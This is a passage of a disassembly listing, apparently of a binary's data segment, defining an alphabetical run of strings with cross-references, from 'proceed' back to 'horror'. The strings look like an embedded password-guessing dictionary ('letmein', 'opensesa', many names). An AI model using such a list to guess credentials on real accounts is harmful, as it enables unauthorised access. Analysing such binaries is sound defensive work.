seg002:0042448Co align 4 aProceed db 'proceed',0 ; DATA XREF: seg002:00424488o aPrivs db 'privs',0 ; DATA XREF: seg002:00424484o align 4 aPrivate db 'private',0 ; DATA XREF: seg002:00424480o aPriv db 'priv',0 ; DATA XREF: seg002:0042447Co align 4 aPrinter db 'printer',0 ; DATA XREF: seg002:00424478o aPrinceto db 'princeto',0 ; DATA XREF: seg002:00424474o align 4 aPrince db 'prince',0 ; DATA XREF: seg002:00424470o align 10h aPresto db 'presto',0 ; DATA XREF: seg002:0042446Co align 4 aPrelude db 'prelude',0 ; DATA XREF: seg002:00424468o aPrecious db 'precious',0 ; DATA XREF: seg002:00424464o align 4 aPraise db 'praise',0 ; DATA XREF: seg002:00424460o align 4 aPower db 'power',0 ; DATA XREF: seg002:0042445Co align 4 aPoster db 'poster',0 ; DATA XREF: seg002:00424458o align 4 aPost db 'post',0 ; DATA XREF: seg002:00424454o align 4 aPorsche db 'porsche',0 ; DATA XREF: seg002:00424450o aPorno db 'porno',0 ; DATA XREF: seg002:0042444Co align 4 aPorn db 'porn',0 ; DATA XREF: seg002:00424448o align 4 aPork db 'pork',0 ; DATA XREF: seg002:00424444o align 4 aPoor db 'poor',0 ; DATA XREF: seg002:00424440o align 4 aPoop db 'poop',0 ; DATA XREF: seg002:0042443Co align 4 aPonderin db 'ponderin',0 ; DATA XREF: seg002:00424438o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: seg002:00424434o align 4 aPolly db 'polly',0 ; DATA XREF: seg002:00424430o align 4 aPolice db 'police',0 ; DATA XREF: seg002:0042442Co align 4 aPoetry db 'poetry',0 ; DATA XREF: seg002:00424428o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: seg002:00424424o align 4 aPluto db 'pluto',0 ; DATA XREF: seg002:00424420o align 10h aPlover db 'plover',0 ; DATA XREF: seg002:0042441Co align 4 aPlayboy db 'playboy',0 ; DATA XREF: seg002:00424418o aPlane db 'plane',0 ; DATA XREF: seg002:00424414o align 4 aPizza db 'pizza',0 ; DATA XREF: seg002:00424410o align 10h aPiss db 'piss',0 ; DATA XREF: seg002:0042440Co align 4 aPinname db 'pinname',0 ; DATA XREF: seg002:00424408o aPimp db 'pimp',0 ; DATA XREF: seg002:00424404o align 4 aPierre db 'pierre',0 ; DATA XREF: seg002:00424400o align 10h aPick db 'pick',0 ; DATA XREF: seg002:004243FCo align 4 aPhuck db 'phuck',0 ; DATA XREF: seg002:004243F8o align 10h aPhreak db 'phreak',0 ; DATA XREF: seg002:004243F4o align 4 aPhrase db 'phrase',0 ; DATA XREF: seg002:004243F0o align 10h aPhrack db 'phrack',0 ; DATA XREF: seg002:004243ECo align 4 aPhoton db 'photon',0 ; DATA XREF: seg002:004243E8o align 10h aPhone db 'phone',0 ; DATA XREF: seg002:004243E4o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: seg002:004243E0o aPhilip db 'philip',0 ; DATA XREF: seg002:004243DCo align 4 aPhil db 'phil',0 ; DATA XREF: seg002:004243D8o align 10h aPeter db 'peter',0 ; DATA XREF: seg002:004243D4o align 4 aPete db 'pete',0 ; DATA XREF: seg002:004243D0o align 10h aPervert db 'pervert',0 ; DATA XREF: seg002:004243CCo aPersona db 'persona',0 ; DATA XREF: seg002:004243C8o aPersimmo db 'persimmo',0 ; DATA XREF: seg002:004243C4o align 4 aPermit db 'permit',0 ; DATA XREF: seg002:004243C0o align 4 aPerfect db 'perfect',0 ; DATA XREF: seg002:004243BCo aPercolat db 'percolat',0 ; DATA XREF: seg002:004243B8o align 4 aPepper db 'pepper',0 ; DATA XREF: seg002:004243B4o align 10h aPeoria db 'peoria',0 ; DATA XREF: seg002:004243B0o align 4 aPentium db 'pentium',0 ; DATA XREF: seg002:004243ACo aPenthous db 'penthous',0 ; DATA XREF: seg002:004243A8o align 4 aPentagra db 'pentagra',0 ; DATA XREF: seg002:004243A4o align 4 aPentagon db 'pentagon',0 ; DATA XREF: seg002:004243A0o align 4 aPenname db 'penname',0 ; DATA XREF: seg002:0042439Co aPenis db 'penis',0 ; DATA XREF: seg002:00424398o align 4 aPenguin db 'penguin',0 ; DATA XREF: seg002:00424394o aPenelope db 'penelope',0 ; DATA XREF: seg002:00424390o align 4 aPencil db 'pencil',0 ; DATA XREF: seg002:0042438Co align 10h aPecker db 'pecker',0 ; DATA XREF: seg002:00424388o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: seg002:00424384o aPaula db 'paula',0 ; DATA XREF: seg002:00424380o align 4 aPatty db 'patty',0 ; DATA XREF: seg002:0042437Co align 10h aPatriot db 'patriot',0 ; DATA XREF: seg002:00424378o aPatricia db 'patricia',0 ; DATA XREF: seg002:00424374o align 4 aPaste db 'paste',0 ; DATA XREF: seg002:00424370o align 4 aPassphra db 'passphra',0 ; DATA XREF: seg002:0042436Co align 4 aPascal db 'pascal',0 ; DATA XREF: seg002:00424368o align 10h aPapers db 'papers',0 ; DATA XREF: seg002:00424364o align 4 aPaper db 'paper',0 ; DATA XREF: seg002:00424360o align 10h aPapa db 'papa',0 ; DATA XREF: seg002:0042435Co align 4 aPamela db 'pamela',0 ; DATA XREF: seg002:00424358o align 10h aPakistan db 'pakistan',0 ; DATA XREF: seg002:00424354o align 4 aPaint db 'paint',0 ; DATA XREF: seg002:00424350o align 4 aPainless db 'painless',0 ; DATA XREF: seg002:0042434Co align 10h aPacker db 'packer',0 ; DATA XREF: seg002:00424348o align 4 aPackard db 'packard',0 ; DATA XREF: seg002:00424344o aPacific db 'pacific',0 ; DATA XREF: seg002:00424340o aOxford db 'oxford',0 ; DATA XREF: seg002:0042433Co align 10h aOutside db 'outside',0 ; DATA XREF: seg002:00424338o aOutput db 'output',0 ; DATA XREF: seg002:00424334o align 10h aOutlaw db 'outlaw',0 ; DATA XREF: seg002:00424330o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: seg002:0042432Co align 4 aOsiris db 'osiris',0 ; DATA XREF: seg002:00424328o align 4 aOscar db 'oscar',0 ; DATA XREF: seg002:00424324o align 4 aOrwell db 'orwell',0 ; DATA XREF: seg002:00424320o align 4 aOrient db 'orient',0 ; DATA XREF: seg002:0042431Co align 4 aOrca db 'orca',0 ; DATA XREF: seg002:00424318o align 4 aOperator db 'operator',0 ; DATA XREF: seg002:00424314o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: seg002:00424310o align 4 aOpenlock db 'openlock',0 ; DATA XREF: seg002:0042430Co align 10h aOpening db 'opening',0 ; DATA XREF: seg002:00424308o aOmega db 'omega',0 ; DATA XREF: seg002:00424300o align 10h aOlivia db 'olivia',0 ; DATA XREF: seg002:004242FCo align 4 aOlivetti db 'olivetti',0 ; DATA XREF: seg002:004242F8o align 4 aOldage db 'oldage',0 ; DATA XREF: seg002:004242F4o align 4 aOkay db 'okay',0 ; DATA XREF: seg002:004242F0o align 4 aOffice db 'office',0 ; DATA XREF: seg002:004242ECo align 4 aOcelot db 'ocelot',0 ; DATA XREF: seg002:004242E8o align 4 aOceanogr db 'oceanogr',0 ; DATA XREF: seg002:004242E4o align 10h aObscurit db 'obscurit',0 ; DATA XREF: seg002:004242E0o align 4 aNyquist db 'nyquist',0 ; DATA XREF: seg002:004242DCo aNuts db 'nuts',0 ; DATA XREF: seg002:004242D8o align 4 aNutritio db 'nutritio',0 ; DATA XREF: seg002:004242D4o align 4 aNumber db 'number',0 ; DATA XREF: seg002:004242D0o align 10h aNull_1 db 'null',0 ; DATA XREF: seg002:004242CCo align 4 aNukem db 'nukem',0 ; DATA XREF: seg002:004242C8o align 10h aNuke db 'nuke',0 ; DATA XREF: seg002:004242C4o align 4 aNude db 'nude',0 ; DATA XREF: seg002:004242C0o align 10h aNuclear db 'nuclear',0 ; DATA XREF: seg002:004242BCo aNoxious db 'noxious',0 ; DATA XREF: seg002:004242B8o aNovember db 'november',0 ; DATA XREF: seg002:004242B4o align 4 aNovel db 'novel',0 ; DATA XREF: seg002:004242B0o align 4 aNova db 'nova',0 ; DATA XREF: seg002:004242ACo align 4 aNoth db 'noth',0 ; DATA XREF: seg002:004242A8o align 4 aNotes db 'notes',0 ; DATA XREF: seg002:004242A4o align 4 aNoreen db 'noreen',0 ; DATA XREF: seg002:004242A0o align 4 aNode db 'node',0 ; DATA XREF: seg002:0042429Co align 4 aNobody db 'nobody',0 ; DATA XREF: seg002:00424298o align 4 aNoble db 'noble',0 ; DATA XREF: seg002:00424294o align 4 aNnaacp db 'nnaacp',0 ; DATA XREF: seg002:00424290o align 4 aNita db 'nita',0 ; DATA XREF: seg002:0042428Co align 4 aNintendo db 'nintendo',0 ; DATA XREF: seg002:00424288o align 4 aNightmar db 'nightmar',0 ; DATA XREF: seg002:00424284o align 4 aNight db 'night',0 ; DATA XREF: seg002:00424280o align 4 aNicotine db 'nicotine',0 ; DATA XREF: seg002:0042427Co align 4 aNicole db 'nicole',0 ; DATA XREF: seg002:00424278o align 10h aNice db 'nice',0 ; DATA XREF: seg002:00424274o align 4 aNext db 'next',0 ; DATA XREF: seg002:00424270o align 10h aNewyork db 'newyork',0 ; DATA XREF: seg002:0042426Co aNewton db 'newton',0 ; DATA XREF: seg002:00424268o align 10h aNewsgrou db 'newsgrou',0 ; DATA XREF: seg002:00424264o align 4 aNews db 'news',0 ; DATA XREF: seg002:00424260o align 4 aNewborn db 'newborn',0 ; DATA XREF: seg002:0042425Co aNetwork_0 db 'network',0 ; DATA XREF: seg002:00424258o aNetscape db 'netscape',0 ; DATA XREF: seg002:00424254o align 10h aNess db 'ness',0 ; DATA XREF: seg002:00424250o align 4 aNeptune db 'neptune',0 ; DATA XREF: seg002:0042424Co aNepenthe db 'nepenthe',0 ; DATA XREF: seg002:00424248o align 4 aNavy db 'navy',0 ; DATA XREF: seg002:00424244o align 4 aNasa db 'nasa',0 ; DATA XREF: seg002:00424240o align 4 aNapoleon db 'napoleon',0 ; DATA XREF: seg002:0042423Co align 4 aNancy db 'nancy',0 ; DATA XREF: seg002:00424238o align 10h aName db 'name',0 ; DATA XREF: seg002:00424234o align 4 aNagel db 'nagel',0 ; DATA XREF: seg002:00424230o align 10h aMutant db 'mutant',0 ; DATA XREF: seg002:0042422Co align 4 aMuppets db 'muppets',0 ; DATA XREF: seg002:00424228o aMsdos db 'msdos',0 ; DATA XREF: seg002:00424224o align 4 aMpeg db 'mpeg',0 ; DATA XREF: seg002:00424220o align 10h aMozart db 'mozart',0 ; DATA XREF: seg002:0042421Co align 4 aMovies db 'movies',0 ; DATA XREF: seg002:00424218o align 10h aMovie db 'movie',0 ; DATA XREF: seg002:00424214o align 4 aMove db 'move',0 ; DATA XREF: seg002:00424210o align 10h aMouse db 'mouse',0 ; DATA XREF: seg002:0042420Co align 4 aMountain db 'mountain',0 ; DATA XREF: seg002:00424208o align 4 aMosaic db 'mosaic',0 ; DATA XREF: seg002:00424204o align 4 aMortgage db 'mortgage',0 ; DATA XREF: seg002:00424200o align 4 aMortalco db 'mortalco',0 ; DATA XREF: seg002:004241FCo align 4 aMortal db 'mortal',0 ; DATA XREF: seg002:004241F8o align 4 aMorris db 'morris',0 ; DATA XREF: seg002:004241F4o align 4 aMorley db 'morley',0 ; DATA XREF: seg002:004241F0o align 4 aMore db 'more',0 ; DATA XREF: seg002:004241ECo align 4 aMoose db 'moose',0 ; DATA XREF: seg002:004241E8o align 4 aMoor db 'moor',0 ; DATA XREF: seg002:004241E4o align 4 aMoom db 'moom',0 ; DATA XREF: seg002:004241E0o align 4 aMonica db 'monica',0 ; DATA XREF: seg002:004241DCo align 4 aMonday db 'monday',0 ; DATA XREF: seg002:004241D8o align 4 aMoguls db 'moguls',0 ; DATA XREF: seg002:004241D4o align 4 aMogul db 'mogul',0 ; DATA XREF: seg002:004241D0o align 4 aModem db 'modem',0 ; DATA XREF: seg002:004241CCo align 4 aMode db 'mode',0 ; DATA XREF: seg002:004241C8o align 4 aMkii db 'mkii',0 ; DATA XREF: seg002:004241C4o align 4 aMission db 'mission',0 ; DATA XREF: seg002:004241C0o aMisfit db 'misfit',0 ; DATA XREF: seg002:004241BCo align 4 aMinsky db 'minsky',0 ; DATA XREF: seg002:004241B8o align 4 aMinimum db 'minimum',0 ; DATA XREF: seg002:004241B4o aMine db 'mine',0 ; DATA XREF: seg002:004241B0o align 4 aMike db 'mike',0 ; DATA XREF: seg002:004241ACo align 4 aMidieval db 'midieval',0 ; DATA XREF: seg002:004241A8o align 10h aMicrosof db 'microsof',0 ; DATA XREF: seg002:004241A4o align 4 aMicropro db 'micropro',0 ; DATA XREF: seg002:004241A0o align 4 aMicrochi db 'microchi',0 ; DATA XREF: seg002:0042419Co align 4 aMicro db 'micro',0 ; DATA XREF: seg002:00424198o align 4 aMickey db 'mickey',0 ; DATA XREF: seg002:00424194o align 4 aMichelle db 'michelle',0 ; DATA XREF: seg002:00424190o align 10h aMichele db 'michele',0 ; DATA XREF: seg002:0042418Co aMichelan db 'michelan',0 ; DATA XREF: seg002:00424188o align 4 aMichel db 'michel',0 ; DATA XREF: seg002:00424184o align 4 aMichael db 'michael',0 ; DATA XREF: seg002:00424180o aMice db 'mice',0 ; DATA XREF: seg002:0042417Co align 4 aMets db 'mets',0 ; DATA XREF: seg002:00424178o align 4 aMetalica db 'metalica',0 ; DATA XREF: seg002:00424174o align 10h aMetalhea db 'metalhea',0 ; DATA XREF: seg002:00424170o align 4 aMetal db 'metal',0 ; DATA XREF: seg002:0042416Co align 4 aMerlin db 'merlin',0 ; DATA XREF: seg002:00424168o align 4 aMercury db 'mercury',0 ; DATA XREF: seg002:00424164o aMenu db 'menu',0 ; DATA XREF: seg002:00424160o align 4 aMenace db 'menace',0 ; DATA XREF: seg002:0042415Co align 4 aMemory db 'memory',0 ; DATA XREF: seg002:00424158o align 4 aMember db 'member',0 ; DATA XREF: seg002:00424154o align 4 aMelrose db 'melrose',0 ; DATA XREF: seg002:00424150o aMellon db 'mellon',0 ; DATA XREF: seg002:0042414Co align 4 aMelissa db 'melissa',0 ; DATA XREF: seg002:00424148o aMegan db 'megan',0 ; DATA XREF: seg002:00424144o align 4 aMegadeth db 'megadeth',0 ; DATA XREF: seg002:00424140o align 10h aMegabyte db 'megabyte',0 ; DATA XREF: seg002:0042413Co align 4 aMeagan db 'meagan',0 ; DATA XREF: seg002:00424138o align 4 aMaurice db 'maurice',0 ; DATA XREF: seg002:00424134o aMath db 'math',0 ; DATA XREF: seg002:00424130o align 4 aMaster db 'master',0 ; DATA XREF: seg002:0042412Co align 4 aMason db 'mason',0 ; DATA XREF: seg002:00424128o align 4 aMary db 'mary',0 ; DATA XREF: seg002:00424124o align 4 aMarvin db 'marvin',0 ; DATA XREF: seg002:00424120o align 4 aMarty db 'marty',0 ; DATA XREF: seg002:0042411Co align 4 aMars db 'mars',0 ; DATA XREF: seg002:00424118o align 4 aMarriage db 'marriage',0 ; DATA XREF: seg002:00424114o align 10h aMarni db 'marni',0 ; DATA XREF: seg002:00424110o align 4 aMarkus db 'markus',0 ; DATA XREF: seg002:0042410Co align 10h aMark db 'mark',0 ; DATA XREF: seg002:00424108o align 4 aMarines db 'marines',0 ; DATA XREF: seg002:00424104o aMarijuan db 'marijuan',0 ; DATA XREF: seg002:00424100o align 4 aMarietta db 'marietta',0 ; DATA XREF: seg002:004240FCo align 4 aMariens db 'mariens',0 ; DATA XREF: seg002:004240F8o aMaria db 'maria',0 ; DATA XREF: seg002:004240F4o align 4 aMarcy db 'marcy',0 ; DATA XREF: seg002:004240F0o align 10h aMarci db 'marci',0 ; DATA XREF: seg002:004240ECo align 4 aMara db 'mara',0 ; DATA XREF: seg002:004240E8o align 10h aManager db 'manager',0 ; DATA XREF: seg002:004240E4o aMana db 'mana',0 ; DATA XREF: seg002:004240E0o align 10h aMalcom db 'malcom',0 ; DATA XREF: seg002:004240DCo align 4 aMalcolm db 'malcolm',0 ; DATA XREF: seg002:004240D8o aMaint db 'maint',0 ; DATA XREF: seg002:004240D4o align 4 aMail db 'mail',0 ; DATA XREF: seg002:004240D0o align 10h aMagnet db 'magnet',0 ; DATA XREF: seg002:004240CCo align 4 aMagic db 'magic',0 ; DATA XREF: seg002:004240C8o align 10h aMaggot db 'maggot',0 ; DATA XREF: seg002:004240C4o align 4 aMacro db 'macro',0 ; DATA XREF: seg002:004240C0o align 10h aMack db 'mack',0 ; DATA XREF: seg002:004240BCo align 4 aMacintos db 'macintos',0 ; DATA XREF: seg002:004240B8o align 4 aMachine db 'machine',0 ; DATA XREF: seg002:004240B4o aLynne db 'lynne',0 ; DATA XREF: seg002:004240B0o align 4 aLynn db 'lynn',0 ; DATA XREF: seg002:004240ACo align 4 aLust db 'lust',0 ; DATA XREF: seg002:004240A8o align 4 aLuke db 'luke',0 ; DATA XREF: seg002:004240A4o align 4 aLude db 'lude',0 ; DATA XREF: seg002:004240A0o align 4 aLucy db 'lucy',0 ; DATA XREF: seg002:0042409Co align 4 aLucus db 'lucus',0 ; DATA XREF: seg002:00424098o align 4 aLuck db 'luck',0 ; DATA XREF: seg002:00424094o align 4 aLover db 'lover',0 ; DATA XREF: seg002:00424090o align 4 aLovebug db 'lovebug',0 ; DATA XREF: seg002:0042408Co aLouis db 'louis',0 ; DATA XREF: seg002:00424088o align 4 aLoser db 'loser',0 ; DATA XREF: seg002:00424084o align 4 aLorraine db 'lorraine',0 ; DATA XREF: seg002:00424080o align 4 aLorin db 'lorin',0 ; DATA XREF: seg002:0042407Co align 10h aLori db 'lori',0 ; DATA XREF: seg002:00424078o align 4 aLore db 'lore',0 ; DATA XREF: seg002:00424074o align 10h aLoose db 'loose',0 ; DATA XREF: seg002:00424070o align 4 aLolopc db 'lolopc',0 ; DATA XREF: seg002:0042406Co align 10h aLois db 'lois',0 ; DATA XREF: seg002:00424068o align 4 aLogout db 'logout',0 ; DATA XREF: seg002:00424064o align 10h aLoginwor db 'loginwor',0 ; DATA XREF: seg002:00424060o align 4 aLogic db 'logic',0 ; DATA XREF: seg002:0042405Co align 4 aLockword db 'lockword',0 ; DATA XREF: seg002:00424058o align 10h aLockout db 'lockout',0 ; DATA XREF: seg002:00424054o aLock db 'lock',0 ; DATA XREF: seg002:00424050o align 10h aLoad db 'load',0 ; DATA XREF: seg002:0042404Co align 4 aLive db 'live',0 ; DATA XREF: seg002:00424048o align 10h aLiteratu db 'literatu',0 ; DATA XREF: seg002:00424044o align 4 aLisp db 'lisp',0 ; DATA XREF: seg002:00424040o align 4 aLisa db 'lisa',0 ; DATA XREF: seg002:0042403Co align 4 aLips db 'lips',0 ; DATA XREF: seg002:00424038o align 4 aLion db 'lion',0 ; DATA XREF: seg002:00424034o align 4 aLink db 'link',0 ; DATA XREF: seg002:00424030o align 4 aLinda db 'linda',0 ; DATA XREF: seg002:0042402Co align 4 aLimited db 'limited',0 ; DATA XREF: seg002:00424028o aLimbaugh db 'limbaugh',0 ; DATA XREF: seg002:00424024o align 10h aLima db 'lima',0 ; DATA XREF: seg002:00424020o align 4 aLightsab db 'lightsab',0 ; DATA XREF: seg002:0042401Co align 4 aLight db 'light',0 ; DATA XREF: seg002:00424018o align 4 aLife db 'life',0 ; DATA XREF: seg002:00424014o align 4 aLicker db 'licker',0 ; DATA XREF: seg002:00424010o align 4 aLick db 'lick',0 ; DATA XREF: seg002:0042400Co align 4 aLibrary db 'library',0 ; DATA XREF: seg002:00424008o aLiberal db 'liberal',0 ; DATA XREF: seg002:00424004o aLexluthe db 'lexluthe',0 ; DATA XREF: seg002:00424000o align 10h aLewis db 'lewis',0 ; DATA XREF: seg002:00423FFCo align 4 aLetmein db 'letmein',0 ; DATA XREF: seg002:00423FF8o aLeslie db 'leslie',0 ; DATA XREF: seg002:00423FF4o align 4 aLesbian db 'lesbian',0 ; DATA XREF: seg002:00423FF0o aLeroy db 'leroy',0 ; DATA XREF: seg002:00423FECo align 4 aLeland db 'leland',0 ; DATA XREF: seg002:00423FE8o align 10h aLegal db 'legal',0 ; DATA XREF: seg002:00423FE4o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: seg002:00423FE0o align 4 aLeft db 'left',0 ; DATA XREF: seg002:00423FDCo align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: seg002:00423FD8o align 4 aLeah db 'leah',0 ; DATA XREF: seg002:00423FD4o align 10h aLazer db 'lazer',0 ; DATA XREF: seg002:00423FD0o align 4 aLazarus db 'lazarus',0 ; DATA XREF: seg002:00423FCCo aLava db 'lava',0 ; DATA XREF: seg002:00423FC8o align 4 aLaura db 'laura',0 ; DATA XREF: seg002:00423FC4o align 10h aLaser db 'laser',0 ; DATA XREF: seg002:00423FC0o align 4 aLarry db 'larry',0 ; DATA XREF: seg002:00423FBCo align 10h aLarkin db 'larkin',0 ; DATA XREF: seg002:00423FB8o align 4 aLara db 'lara',0 ; DATA XREF: seg002:00423FB4o align 10h aLaptop db 'laptop',0 ; DATA XREF: seg002:00423FB0o align 4 aLana db 'lana',0 ; DATA XREF: seg002:00423FACo align 10h aLaminati db 'laminati',0 ; DATA XREF: seg002:00423FA8o align 4 aLambda db 'lambda',0 ; DATA XREF: seg002:00423FA4o align 4 aLakers db 'lakers',0 ; DATA XREF: seg002:00423FA0o align 4 aLadle db 'ladle',0 ; DATA XREF: seg002:00423F9Co align 4 aLadies db 'ladies',0 ; DATA XREF: seg002:00423F98o align 4 aKristy db 'kristy',0 ; DATA XREF: seg002:00423F94o align 4 aKristine db 'kristine',0 ; DATA XREF: seg002:00423F90o align 10h aKristin db 'kristin',0 ; DATA XREF: seg002:00423F8Co aKristie db 'kristie',0 ; DATA XREF: seg002:00423F88o aKristi db 'kristi',0 ; DATA XREF: seg002:00423F84o align 4 aKristen db 'kristen',0 ; DATA XREF: seg002:00423F80o aKrista db 'krista',0 ; DATA XREF: seg002:00423F7Co align 4 aKnown db 'known',0 ; DATA XREF: seg002:00423F78o align 10h aKnightma db 'knightma',0 ; DATA XREF: seg002:00423F74o align 4 aKnight db 'knight',0 ; DATA XREF: seg002:00423F70o align 4 aKnife db 'knife',0 ; DATA XREF: seg002:00423F6Co align 4 aKlingon db 'klingon',0 ; DATA XREF: seg002:00423F68o aKitten db 'kitten',0 ; DATA XREF: seg002:00423F64o align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: seg002:00423F60o align 4 aKiss db 'kiss',0 ; DATA XREF: seg002:00423F5Co align 10h aKirkland db 'kirkland',0 ; DATA XREF: seg002:00423F58o align 4 aKirk db 'kirk',0 ; DATA XREF: seg002:00423F54o align 4 aKing db 'king',0 ; DATA XREF: seg002:00423F50o align 4 aKimberly db 'kimberly',0 ; DATA XREF: seg002:00423F4Co align 4 aKilo db 'kilo',0 ; DATA XREF: seg002:00423F48o align 10h aKillthem db 'killthem',0 ; DATA XREF: seg002:00423F44o align 4 aKill db 'kill',0 ; DATA XREF: seg002:00423F40o align 4 aKids db 'kids',0 ; DATA XREF: seg002:00423F3Co align 4 aKeyword db 'keyword',0 ; DATA XREF: seg002:00423F38o aKeyin db 'keyin',0 ; DATA XREF: seg002:00423F34o align 4 aKeybord db 'keybord',0 ; DATA XREF: seg002:00423F30o aKewl db 'kewl',0 ; DATA XREF: seg002:00423F2Co align 4 aKevin db 'kevin',0 ; DATA XREF: seg002:00423F28o align 4 aKerry db 'kerry',0 ; DATA XREF: seg002:00423F24o align 4 aKerrie db 'kerrie',0 ; DATA XREF: seg002:00423F20o align 4 aKerri db 'kerri',0 ; DATA XREF: seg002:00423F1Co align 4 aKernel db 'kernel',0 ; DATA XREF: seg002:00423F18o align 4 aKermit db 'kermit',0 ; DATA XREF: seg002:00423F14o align 4 aKeri db 'keri',0 ; DATA XREF: seg002:00423F10o align 4 aKelly db 'kelly',0 ; DATA XREF: seg002:00423F0Co align 4 aKatrina db 'katrina',0 ; DATA XREF: seg002:00423F08o aKatina db 'katina',0 ; DATA XREF: seg002:00423F04o align 4 aKathy db 'kathy',0 ; DATA XREF: seg002:00423F00o align 4 aKathrine db 'kathrine',0 ; DATA XREF: seg002:00423EFCo align 10h aKathleen db 'kathleen',0 ; DATA XREF: seg002:00423EF8o align 4 aKate db 'kate',0 ; DATA XREF: seg002:00423EF4o align 4 aKatana db 'katana',0 ; DATA XREF: seg002:00423EF0o align 4 aKarina db 'karina',0 ; DATA XREF: seg002:00423EECo align 4 aKarie db 'karie',0 ; DATA XREF: seg002:00423EE8o align 4 aKaren db 'karen',0 ; DATA XREF: seg002:00423EE4o align 4 aKaka db 'kaka',0 ; DATA XREF: seg002:00423EE0o align 4 aJupiter db 'jupiter',0 ; DATA XREF: seg002:00423EDCo aJune db 'june',0 ; DATA XREF: seg002:00423ED8o align 4 aJuliet db 'juliet',0 ; DATA XREF: seg002:00423ED4o align 4 aJulie db 'julie',0 ; DATA XREF: seg002:00423ED0o align 4 aJulia db 'julia',0 ; DATA XREF: seg002:00423ECCo align 4 aJuicy db 'juicy',0 ; DATA XREF: seg002:00423EC8o align 4 aJuggle db 'juggle',0 ; DATA XREF: seg002:00423EC4o align 4 aJudy db 'judy',0 ; DATA XREF: seg002:00423EC0o align 4 aJudith db 'judith',0 ; DATA XREF: seg002:00423EBCo align 4 aJoyce db 'joyce',0 ; DATA XREF: seg002:00423EB8o align 4 aJournal db 'journal',0 ; DATA XREF: seg002:00423EB4o aJoshua db 'joshua',0 ; DATA XREF: seg002:00423EB0o align 4 aJoseph db 'joseph',0 ; DATA XREF: seg002:00423EACo align 4 aJohnny db 'johnny',0 ; DATA XREF: seg002:00423EA8o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: seg002:00423EA4o aJohn db 'john',0 ; DATA XREF: seg002:00423EA0o align 4 aJody db 'jody',0 ; DATA XREF: seg002:00423E9Co align 4 aJoanne db 'joanne',0 ; DATA XREF: seg002:00423E98o align 4 aJixian db 'jixian',0 ; DATA XREF: seg002:00423E94o align 4 aJill db 'jill',0 ; DATA XREF: seg002:00423E90o align 4 aJewelry db 'jewelry',0 ; DATA XREF: seg002:00423E8Co aJester db 'jester',0 ; DATA XREF: seg002:00423E88o align 4 aJessica db 'jessica',0 ; DATA XREF: seg002:00423E84o aJerusale db 'jerusale',0 ; DATA XREF: seg002:00423E80o align 10h aJerry db 'jerry',0 ; DATA XREF: seg002:00423E7Co align 4 aJenny db 'jenny',0 ; DATA XREF: seg002:00423E78o align 10h aJennifer db 'jennifer',0 ; DATA XREF: seg002:00423E74o align 4 aJenni db 'jenni',0 ; DATA XREF: seg002:00423E70o align 4 aJeff db 'jeff',0 ; DATA XREF: seg002:00423E6Co align 4 aJeanne db 'jeanne',0 ; DATA XREF: seg002:00423E68o align 4 aJean db 'jean',0 ; DATA XREF: seg002:00423E64o align 4 aJazz db 'jazz',0 ; DATA XREF: seg002:00423E60o align 4 aJava db 'java',0 ; DATA XREF: seg002:00423E5Co align 4 aJasmin db 'jasmin',0 ; DATA XREF: seg002:00423E58o align 4 aJapan db 'japan',0 ; DATA XREF: seg002:00423E54o align 4 aJanie db 'janie',0 ; DATA XREF: seg002:00423E50o align 4 aJanice db 'janice',0 ; DATA XREF: seg002:00423E4Co align 4 aJanet db 'janet',0 ; DATA XREF: seg002:00423E48o align 4 aJane db 'jane',0 ; DATA XREF: seg002:00423E44o align 4 aJail db 'jail',0 ; DATA XREF: seg002:00423E40o align 4 aJackie db 'jackie',0 ; DATA XREF: seg002:00423E3Co align 4 aIsis db 'isis',0 ; DATA XREF: seg002:00423E38o align 4 aIrishman db 'irishman',0 ; DATA XREF: seg002:00423E34o align 10h aIrene db 'irene',0 ; DATA XREF: seg002:00423E30o align 4 aInvent db 'invent',0 ; DATA XREF: seg002:00423E2Co align 10h aInteger db 'integer',0 ; DATA XREF: seg002:00423E28o aInside db 'inside',0 ; DATA XREF: seg002:00423E24o align 10h aInput db 'input',0 ; DATA XREF: seg002:00423E20o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: seg002:00423E1Co align 4 aInna db 'inna',0 ; DATA XREF: seg002:00423E18o align 4 aIngrid db 'ingrid',0 ; DATA XREF: seg002:00423E14o align 4 aIngress db 'ingress',0 ; DATA XREF: seg002:00423E10o aIngres db 'ingres',0 ; DATA XREF: seg002:00423E0Co align 4 aIndians db 'indians',0 ; DATA XREF: seg002:00423E08o aIndiana db 'indiana',0 ; DATA XREF: seg002:00423E04o aIndian db 'indian',0 ; DATA XREF: seg002:00423E00o align 4 aIndia db 'india',0 ; DATA XREF: seg002:00423DFCo align 4 aInclude db 'include',0 ; DATA XREF: seg002:00423DF8o aImperial db 'imperial',0 ; DATA XREF: seg002:00423DF4o align 4 aImmortal db 'immortal',0 ; DATA XREF: seg002:00423DF0o align 4 aImbrogli db 'imbrogli',0 ; DATA XREF: seg002:00423DECo align 10h aImage db 'image',0 ; DATA XREF: seg002:00423DE8o align 4 aIllumina db 'illumina',0 ; DATA XREF: seg002:00423DE4o align 4 aIcecream db 'icecream',0 ; DATA XREF: seg002:00423DE0o align 10h aHypertxt db 'hypertxt',0 ; DATA XREF: seg002:00423DDCo align 4 aHyper db 'hyper',0 ; DATA XREF: seg002:00423DD8o align 4 aHydrogen db 'hydrogen',0 ; DATA XREF: seg002:00423DD4o align 10h aHutchins db 'hutchins',0 ; DATA XREF: seg002:00423DD0o align 4 aHunter db 'hunter',0 ; DATA XREF: seg002:00423DCCo align 4 aHunt db 'hunt',0 ; DATA XREF: seg002:00423DC8o align 4 aHttp db 'http',0 ; DATA XREF: seg002:00423DC4o align 4 aHotel db 'hotel',0 ; DATA XREF: seg002:00423DC0o align 4 aHotdog db 'hotdog',0 ; DATA XREF: seg002:00423DBCo align 4 aHost db 'host',0 ; DATA XREF: seg002:00423DB8o align 4 aHorus db 'horus',0 ; DATA XREF: seg002:00423DB4o align 4 aHorse db 'horse',0 ; DATA XREF: seg002:00423DB0o align 4 aHorror db 'horror',0 ; DATA 